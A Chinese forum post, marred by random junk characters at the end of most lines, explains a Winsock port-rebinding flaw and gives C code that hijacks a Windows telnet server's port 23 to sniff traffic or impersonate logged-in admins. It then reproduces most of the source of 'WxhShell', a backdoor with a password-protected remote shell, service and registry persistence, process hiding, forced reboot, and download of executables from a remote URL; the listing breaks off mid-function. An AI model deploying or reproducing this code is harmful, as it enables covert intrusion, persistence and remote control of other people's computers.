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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: uie~'K\y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dCE\^q[{  
bA}Z0a  
  saddr.sin_family = AF_INET; rO0ZtC{K  
'WK;$XQ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;a |`s  
cVp[ Z#B  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )ZGYhE  
wW-Ab  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 25d\!3#E  
rFo\+//  
  这意味着什么?意味着可以进行如下的攻击: ejVdxVr\7  
5MxH)~VQoM  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 CWs: l3_yn  
{O)YwT$`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) R'SBd}1  
6O9iEc,HM  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 z!$gVWG  
gmY/STN   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  XYjcJ  
IAf$]Fh  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~\$=w10  
Jen%}\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 PWvSbn6  
Vvyj  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 QC{u|  
mzGjRl=O  
  #include G$C }?"l  
  #include ;7rd;zJ  
  #include 5SUN.%y  
  #include    4U?<vby  
  DWORD WINAPI ClientThread(LPVOID lpParam);   -/>9c-F  
  int main() T7 {<arL$  
  { cGNvEM(4AV  
  WORD wVersionRequested; 7:>sc]Z  
  DWORD ret; gE\b 982  
  WSADATA wsaData; I5qM.@%zB  
  BOOL val; 86%%n?"}  
  SOCKADDR_IN saddr; Yt+h2ft!  
  SOCKADDR_IN scaddr; ["a"x>X&  
  int err; (s s3A9tG  
  SOCKET s; 9@n diu[  
  SOCKET sc; |jT2W  
  int caddsize; %x2 uP9  
  HANDLE mt; C/G]v*MBQ  
  DWORD tid;   aG(hs J)  
  wVersionRequested = MAKEWORD( 2, 2 ); f2yq8/J8.  
  err = WSAStartup( wVersionRequested, &wsaData ); 9_ZBV{   
  if ( err != 0 ) { llq*T"7  
  printf("error!WSAStartup failed!\n"); ,}0$Tv\1  
  return -1; ]]TqP{H  
  } sw$2d  
  saddr.sin_family = AF_INET; H\E7o" m  
   jY/ARBC}H  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 URA0ey`  
]tB@kBi "  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); U\jb"  
  saddr.sin_port = htons(23); #op:/j  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @QdnjXII*  
  { o@W_ai_  
  printf("error!socket failed!\n"); mu[Op*)  
  return -1; Hz@h0+h  
  } IkDiT63]I  
  val = TRUE; *KJB>W%@uM  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 E9+HS  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !`&\Lx_  
  { BLn_u,3  
  printf("error!setsockopt failed!\n"); {6*#3m Kk  
  return -1; V}" g~=  
  } E!J=8C.:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Nxk(mec"  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 gCuAF$o  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 V.6)0fKZW  
hJ*Ihwn|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) SV.z>p  
  { &!L:"]=+  
  ret=GetLastError(); P4k;O?y  
  printf("error!bind failed!\n"); #.._c?%4/  
  return -1; Y$<D9f s3  
  } pKT2^Q}-h  
  listen(s,2); y('k`>C  
  while(1) F~HRME; Z  
  { 5o)Y$>T0  
  caddsize = sizeof(scaddr); 8Pmdk1 ~  
  //接受连接请求 0;<)\Wt=i9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4)kG-[#  
  if(sc!=INVALID_SOCKET) ^/@jwZ  
  { w1 `QIv  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $f$|6jM  
  if(mt==NULL) *?t%0){  
  { A"uULfnk  
  printf("Thread Creat Failed!\n"); pOT7;-#n  
  break; ' cBBt  
  } $ s-Y%gc  
  } PuL<^aJ  
  CloseHandle(mt); Z=?aEU$7  
  } S`!-Cal`n  
  closesocket(s); -!e7L>w  
  WSACleanup(); s?rBE.g@}  
  return 0; ZnW@YC#9  
  }   W*N$'%  
  DWORD WINAPI ClientThread(LPVOID lpParam) IH9.F  
  { lg$zGa?  
  SOCKET ss = (SOCKET)lpParam; d0'HDVd  
  SOCKET sc; <S?#@F\"S  
  unsigned char buf[4096]; [?k8}B)mHB  
  SOCKADDR_IN saddr; ~P .I<  
  long num; k*mt4~KLT8  
  DWORD val; 7zemr>sIh  
  DWORD ret; 5jB* fIz  
  //如果是隐藏端口应用的话,可以在此处加一些判断 UUc8*yU)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   NSQp< m  
  saddr.sin_family = AF_INET; p-GAe,2q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >&:NFq-  
  saddr.sin_port = htons(23); )%d*3\Tsd  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ntVS:F  
  { vBcq_sbo  
  printf("error!socket failed!\n"); 47K1$3P  
  return -1; tDg}Ys=4K>  
  } )2IH 5  
  val = 100; [ic870_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O@V%Cu  
  { r!PpUwod  
  ret = GetLastError(); ^T::-pN*  
  return -1; =O).Lx2J  
  } S! v(+|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t. ='/`!N  
  { #S]ER907  
  ret = GetLastError(); qOih`dla  
  return -1; ar9]"s+'  
  } ;r[@v347  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) HlvuW(,x=  
  { RTh`ENCKR  
  printf("error!socket connect failed!\n"); <r#eL39I  
  closesocket(sc); V w||!d  
  closesocket(ss); m,UGWR  
  return -1; :a ->0 l  
  } pi<TFe@eG  
  while(1) },+wJ1  
  { Qv,"($n\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?']5dD  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 w-wV3Q6X  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :L44]K5FL  
  num = recv(ss,buf,4096,0); mpPdG  
  if(num>0) u_(VEfs4  
  send(sc,buf,num,0); Od4E x;F  
  else if(num==0) [Zei0O  
  break; ia\eLzj  
  num = recv(sc,buf,4096,0); E;JsBH  
  if(num>0) +LM#n#T  
  send(ss,buf,num,0); WmY``  
  else if(num==0) 8>,jpAN}r  
  break; (q+)'H%iK  
  } OxI/%yv-c  
  closesocket(ss); 5[0 O'%$  
  closesocket(sc); y{dTp  
  return 0 ; .ZvM^GJb  
  } ![]`` g2  
i;LXu%3\  
&wD;SMr<  
========================================================== 35E_W>n  
:8CvRO*<  
下边附上一个代码,,WXhSHELL 1$M@]7e+!+  
wr[,  
========================================================== At7>V-f}  
^6_e=jIN  
#include "stdafx.h" UfN&v >8f  
KMI_zhyB  
#include <stdio.h> 0"CG7Vg,zh  
#include <string.h> ^*P%=>zO  
#include <windows.h> &|f@$ff  
#include <winsock2.h> yKYTi3_(  
#include <winsvc.h> Hemq +]6^  
#include <urlmon.h> 5R(/Uiv3F  
D6>HN[D"  
#pragma comment (lib, "Ws2_32.lib") S30?VG9U0f  
#pragma comment (lib, "urlmon.lib") kS bu]AB  
emCM\|NQg&  
#define MAX_USER   100 // 最大客户端连接数 ek#O3Oz  
#define BUF_SOCK   200 // sock buffer S H!  
#define KEY_BUFF   255 // 输入 buffer 6Yx4lWBR?  
.Fdgb4>BXX  
#define REBOOT     0   // 重启 :2 *g~6  
#define SHUTDOWN   1   // 关机 0q&<bV:D  
9 FB19  
#define DEF_PORT   5000 // 监听端口 -r-k_6QP  
1oc3$A  
#define REG_LEN     16   // 注册表键长度 |&RU/a  
#define SVC_LEN     80   // NT服务名长度 N<~t3/Nm  
Ney/[3 A  
// 从dll定义API 8C*c{(4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); SHe49!RA'{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^s|6vd;PD=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Pi]19boM.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xai*CY@cQ  
_f$^%?^  
// wxhshell配置信息 a!=D[Gz*5  
struct WSCFG { BO;6 u^[  
  int ws_port;         // 监听端口 ;7} VBkH  
  char ws_passstr[REG_LEN]; // 口令 r"P|dlV-  
  int ws_autoins;       // 安装标记, 1=yes 0=no KET2Ws[w  
  char ws_regname[REG_LEN]; // 注册表键名 r>o63Q:  
  char ws_svcname[REG_LEN]; // 服务名 D)L+7N0D~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 DGS$Ukz&T  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \WxukYH  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L7dd(^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o,_? ^'@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" < jJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OX\A|$GS  
3yVMXK  
}; 59h)-^!  
f|\onHI)>  
// default Wxhshell configuration C{U?0!^  
struct WSCFG wscfg={DEF_PORT, &5yV xL:  
    "xuhuanlingzhe", H{Wu]C<@p  
    1, A~)D[CV  
    "Wxhshell", vSEuk}pk  
    "Wxhshell", y*qVc E  
            "WxhShell Service", #d6)#:uss  
    "Wrsky Windows CmdShell Service", { \81i8b]  
    "Please Input Your Password: ", o]4*|ARPs  
  1, ? m DI#~)  
  "http://www.wrsky.com/wxhshell.exe", E|iQc8gr&  
  "Wxhshell.exe" F(>Np2oi6  
    }; .+$ Q<L  
<3LbN FP  
// 消息定义模块 32&;`]C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; JMC. w!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s~^5kgPA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qLD ?juas  
char *msg_ws_ext="\n\rExit."; *\ R ]NV  
char *msg_ws_end="\n\rQuit."; EJMM9(DQ7  
char *msg_ws_boot="\n\rReboot..."; 0XE4<U   
char *msg_ws_poff="\n\rShutdown..."; eA2@Nkw~)  
char *msg_ws_down="\n\rSave to "; ofm#'7P 0  
-|$@-fY;  
char *msg_ws_err="\n\rErr!"; bCRV\myd`  
char *msg_ws_ok="\n\rOK!"; ,E S0NA  
C5o#i*|  
char ExeFile[MAX_PATH]; >qnko9V  
int nUser = 0; wW>A_{Y  
HANDLE handles[MAX_USER]; <^#,_o,!  
int OsIsNt; xF!,IKlBBp  
LSL/ZvSP  
SERVICE_STATUS       serviceStatus; akp-zn&je  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =$'6(aDH  
f6hnTbJ  
// 函数声明 I|qo+u)  
int Install(void); h4fJvOk|!  
int Uninstall(void); &."iFe  
int DownloadFile(char *sURL, SOCKET wsh); lXW%FH6c+  
int Boot(int flag); u^^[Q2LDU}  
void HideProc(void); BC^ :=  
int GetOsVer(void); ?:Uv[|S#>  
int Wxhshell(SOCKET wsl); {$0mwAOH "  
void TalkWithClient(void *cs); DX#Nf""Pw  
int CmdShell(SOCKET sock); <cps2*'  
int StartFromService(void); em%4Ap  
int StartWxhshell(LPSTR lpCmdLine); Ni9/}bb  
n<LEler#M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?WGA?J %2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %~4M+r6T  
-_=nDH  
// 数据结构和表定义 ,LHn90S  
SERVICE_TABLE_ENTRY DispatchTable[] = .s?L^Z^  
{ #NEE7'&S  
{wscfg.ws_svcname, NTServiceMain}, L>jY.d2w=K  
{NULL, NULL} {'7B6  
}; - YEZ]:"  
W!Gq.M  
// 自我安装 8'HEms  
int Install(void) o_izl \  
{ 03$mYS_?  
  char svExeFile[MAX_PATH]; R`NYEptJ  
  HKEY key; KLST\ Ln:  
  strcpy(svExeFile,ExeFile); B6MB48#0gs  
T6\[iJI|  
// 如果是win9x系统,修改注册表设为自启动 (nQ^  
if(!OsIsNt) { 5'OrHk;u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g|o,uD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qU \w=  
  RegCloseKey(key); ` 'DmDg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5AFJC?   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); is?{MJZ_  
  RegCloseKey(key); pC#E_*49  
  return 0; \"7*{L:  
    } R$R *'l  
  } !z\h| wU+  
} j*|VctM  
else { =/@D8{pU  
0{5w 6  
// 如果是NT以上系统,安装为系统服务 S,88*F(<^q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tH!]Z4}u  
if (schSCManager!=0) R)c?`:iUB  
{ /2&c$9=1  
  SC_HANDLE schService = CreateService LQ@"Xe]5  
  ( XY5K%dMU  
  schSCManager, 'p^t^=dQ  
  wscfg.ws_svcname, \[;0 KV_  
  wscfg.ws_svcdisp, 5?f ^Rz  
  SERVICE_ALL_ACCESS, Akq2 d;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z%gh3  
  SERVICE_AUTO_START, /!0={G  
  SERVICE_ERROR_NORMAL, =>m<GvQz  
  svExeFile, { a =#B)6  
  NULL, W_JlOc!y  
  NULL, ld[I}88$  
  NULL, 3/P1!:g9  
  NULL, a1T'x~ '  
  NULL akmkyrz'&  
  ); #$.;'#u'so  
  if (schService!=0) &sl0W-;0  
  { w2?3wrP3  
  CloseServiceHandle(schService); >R'F,  
  CloseServiceHandle(schSCManager); z}.e]|b^H  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x'8x   
  strcat(svExeFile,wscfg.ws_svcname); p'Y^ X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { })'B<vq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,V7nzhA2  
  RegCloseKey(key); M`0V~P`^  
  return 0; S;Fi?M  
    } {B~QQMEow  
  } 9=s<Ld  
  CloseServiceHandle(schSCManager); ko!)s  
} kXViWOXU^  
} EfqX y>W  
[CY9^N  
return 1; &eJfGt5  
} t$`r4Lb9/  
&j;wCvE4+  
// 自我卸载 ez7A4>/  
int Uninstall(void) R8K&R\  
{ %:i7s-0w  
  HKEY key; ;xy"\S]  
[|v][Hwv  
if(!OsIsNt) { \P[Y`LYL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kBS9tKBWg  
  RegDeleteValue(key,wscfg.ws_regname); q9B$" n  
  RegCloseKey(key); QL(n} {.%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Lw1Yvtn  
  RegDeleteValue(key,wscfg.ws_regname); 82+r^t/.  
  RegCloseKey(key); !M(xG%M-V  
  return 0; 6W/`07 '  
  } hWjc<9  
}  -uS!\  
} EAUEQk?9  
else { YqscZ(L:y  
`Gs9Xmc|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?4YGT  
if (schSCManager!=0) a,,exi  
{ H8=N@l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IW5,7.  
  if (schService!=0) e1yt9@k,  
  { e[1hz_v  
  if(DeleteService(schService)!=0) { nkPh,X\N0  
  CloseServiceHandle(schService); =F|{# F  
  CloseServiceHandle(schSCManager); O 2V  
  return 0; }PlRx6r@  
  } |]bsCmD  
  CloseServiceHandle(schService); ZtNN<7  
  } gt) I(  
  CloseServiceHandle(schSCManager); g>%o #P7  
} 8]c2r%J  
} n9\TO9N  
3l~^06D  
return 1; KYm0@O>;  
} &C_j\7Dq  
cVv=*81\  
// 从指定url下载文件 `bq<$e  
int DownloadFile(char *sURL, SOCKET wsh) w7L{_aom  
{ b! t0w{^w  
  HRESULT hr; +Ze} B*0  
char seps[]= "/"; )D O?VRI  
char *token; iI T;K@&  
char *file; iT+8|Yia  
char myURL[MAX_PATH]; #\{l"-  
char myFILE[MAX_PATH]; %uDi#x.  
gT. sj d  
strcpy(myURL,sURL); C[cbbp  
  token=strtok(myURL,seps); .^`{1%  
  while(token!=NULL) aqZi:icFa  
  { 7sCG^&Y  
    file=token; "Fr.fhh'~  
  token=strtok(NULL,seps); gjyYCjF  
  } P\tB~SZ*  
>58YjLXb  
GetCurrentDirectory(MAX_PATH,myFILE); [>I<#_^~  
strcat(myFILE, "\\"); l:~/<`o  
strcat(myFILE, file); J3V= 46Yc  
  send(wsh,myFILE,strlen(myFILE),0); fUWG*o9  
send(wsh,"...",3,0); /xBb[44z8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h8q[1"a:  
  if(hr==S_OK) dlh)gp;  
return 0; 6GlJ>r+n  
else RMV/&85?y  
return 1; Qp5VP@t  
;+R&}[9,A)  
} :LQYo'@yB  
g/d<Zfq<{  
// 系统电源模块 Vr)S{k-Q  
int Boot(int flag) EU 6oQ  
{ U+jOTq8M  
  HANDLE hToken; e*kpdS~U&  
  TOKEN_PRIVILEGES tkp; bSlF=jT[S  
"]*&oQCI  
  if(OsIsNt) { lN)C2 2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z|J_b"u4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HVCe;eI  
    tkp.PrivilegeCount = 1; ?=msH=N<l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eb{nWP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); DCO\c9  
if(flag==REBOOT) { `g?Negt\v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W+c<2?d:  
  return 0; x j)F55e?  
} HyQJXw?A:  
else { O/(`S<iip  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]jQutlg|  
  return 0; x8B}ZIbT9  
}  Mx?d  
  } QVT5}OzMt  
  else { @i_FTN  
if(flag==REBOOT) { < NY^M!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `$IK`O  
  return 0; fplow  
} ys^oG$lq  
else { :S83vE81WK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W(Fv l  
  return 0; {z5--TogJ  
} r,3DTBe  
} qr^3R&z!}  
HWrO"b*tO  
return 1; &{hL&BLr  
} 49c:V,  
2]jn '4  
// win9x进程隐藏模块 XEp{VC@=  
void HideProc(void) ]cWUZ{puRB  
{ 4he GnMD  
Zn+.;o)E<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %XDc,AR[  
  if ( hKernel != NULL ) HZB>{O  
  { P )"m0Lu<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2;`1h[,-^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /9*B)m"  
    FreeLibrary(hKernel); J1|\Q:-7p  
  } c|y(2K)o[=  
/{ l$sBUL  
return; ,4e:I.b  
} @V sG'  
xC:L)7#aw  
// 获取操作系统版本 qJs<#MQ2  
int GetOsVer(void) #U4F0BdA  
{ Gr'  CtO  
  OSVERSIONINFO winfo; 1CD+B=pQG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6:5I26  
  GetVersionEx(&winfo); -HbC!w v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [A~xy'T  
  return 1; S~bOUdV Z  
  else .t-4o<7 3  
  return 0; TDKki(o=~  
} BLdvyVFx  
]i)c{y  
// 客户端句柄模块 }O5i/#.lR  
int Wxhshell(SOCKET wsl) PI)+Jr%L  
{ (O?.)jEW(.  
  SOCKET wsh; d#Y^>"|$.  
  struct sockaddr_in client; P>C~ i:4n  
  DWORD myID; .Iw AK/QS  
drP=A~?&:  
  while(nUser<MAX_USER) X*XZb F"=  
{ KnQ*vM*VM  
  int nSize=sizeof(client); Jy:Qlx`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gQg"j)  
  if(wsh==INVALID_SOCKET) return 1; py!|\00}  
t;Sb/3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); NjScc%@y  
if(handles[nUser]==0) e7Z32P0ls  
  closesocket(wsh); Q7\w+ANf0  
else ^7U G$A  
  nUser++; _$Yk M,  
  } 7M!I8C0!aO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); HxV=F66"  
HY*Kb+[  
  return 0; Y@vTaE^w3  
} Nq[uoaT  
/QWvW=F2<  
// 关闭 socket C*_C;6.~Y  
void CloseIt(SOCKET wsh) 5E;qM|Ns  
{ .CABH,Po:  
closesocket(wsh); /GN<\_o=q  
nUser--;  SI-qC  
ExitThread(0); )e+>w=t  
} ^z IW+:  
F=e8IUr  
// 客户端请求句柄 2!m/  
void TalkWithClient(void *cs) IGQaDFr  
{ 4#xDgxg\f  
T|eu  
  SOCKET wsh=(SOCKET)cs; 9igiZmM  
  char pwd[SVC_LEN]; 4y?n [/M/  
  char cmd[KEY_BUFF]; u(>^3PJ+  
char chr[1]; p!7FpxZY  
int i,j; XB^'K2  
KNvZm;Q6  
  while (nUser < MAX_USER) { A@[o;H}XP  
@ $ ;q ;  
if(wscfg.ws_passstr) { ]d0BN`*U.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^R7lom.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]I dk:et  
  //ZeroMemory(pwd,KEY_BUFF); 4{U T!WIi  
      i=0; ?%-DfCS  
  while(i<SVC_LEN) { Eqd<MY7  
wedbx00o  
  // 设置超时 wr/"yQA]  
  fd_set FdRead; qZtzO2Mt  
  struct timeval TimeOut; EzM ?Nft  
  FD_ZERO(&FdRead); N=5a54!/  
  FD_SET(wsh,&FdRead); DS(}<HK{  
  TimeOut.tv_sec=8; l'-Bu(  
  TimeOut.tv_usec=0; KE5kOU;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q]ku5A\y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kW Ml  
EReZkvseC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x_N'TjS^{  
  pwd=chr[0]; (l~AV9!m:  
  if(chr[0]==0xd || chr[0]==0xa) { RUnSCOdX  
  pwd=0; _?m(V=z>  
  break; Eex~xiiV  
  } yiXSYD  
  i++; S]e|"n~@  
    } mP~QWx![N  
;;OAQ`  
  // 如果是非法用户,关闭 socket O>b C2;+s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X1x#6 oi  
} h6D<go-b56  
TCwFPlF|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X8a/ `Y,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s^G.]%iU  
A@!qv#'  
while(1) { 45@ I*`  
n?!">G  
  ZeroMemory(cmd,KEY_BUFF); &WuN&As!Z  
C\Wmq [  
      // 自动支持客户端 telnet标准   }_M~2L?i  
  j=0; ~?Qe?hB  
  while(j<KEY_BUFF) { 9iIhte.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z*]9E^  
  cmd[j]=chr[0]; 8yR.uMI$/  
  if(chr[0]==0xa || chr[0]==0xd) { ,F8Yn5h  
  cmd[j]=0; K( c\wr\6  
  break; ,i?nWlh+  
  } b7?uq9  
  j++; r"3=44St  
    } Pe_W;q.  
p?%y82E  
  // 下载文件 P:K5",)  
  if(strstr(cmd,"http://")) {  ul6]!Iy  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qdJ=lhHM}  
  if(DownloadFile(cmd,wsh)) ?4#Li~q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J9--tJ?[>o  
  else G#q@v(_b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TTX5EDCrC  
  } i4Q@K,$  
  else { Y|F9}hj(  
I#Y22&G1  
    switch(cmd[0]) { #?aPisV X>  
  mUAi4N  
  // 帮助 a8e6H30Sm  
  case '?': { T9E+\D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Tj` ,Z5vy  
    break; 5K1)1E/Fu  
  } bivuqKA  
  // 安装 .,|G7DGH]  
  case 'i': { m/@wh a  
    if(Install()) k<nZ+! M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,GhS[VJjR  
    else )5Q~I,dP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YlJ@XpKM  
    break; lV3x*4O=  
    } Fh&G;aEq  
  // 卸载 Wa>}wA=v  
  case 'r': { lwxaMjaL4K  
    if(Uninstall()) d`=MgHz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FJ GlP&v<  
    else `!3SF|x&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p}z<Fdu 0  
    break; hn7# L  
    } ~f&E7su-6+  
  // 显示 wxhshell 所在路径 + /4A  
  case 'p': { 64 wv<r]5j  
    char svExeFile[MAX_PATH]; IYE~t  
    strcpy(svExeFile,"\n\r"); ,B*EVN  
      strcat(svExeFile,ExeFile); [: n'k  
        send(wsh,svExeFile,strlen(svExeFile),0); xA2YG|RU=b  
    break; kr^P6}'  
    } q5J5>  
  // 重启 Gt8M&S-;  
  case 'b': { xjUT{iwS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |#v7/$!  
    if(Boot(REBOOT)) u"r`3P`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D# 9m\o_  
    else { ?um;s-x)  
    closesocket(wsh); K e;E1S-~  
    ExitThread(0); 0I-9nuw,^;  
    } ('4_ xOb  
    break; [NjXO`5#]  
    } k{R>  
  // 关机 60^`JVGWH  
  case 'd': { p;`>e>$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j1Y~_  
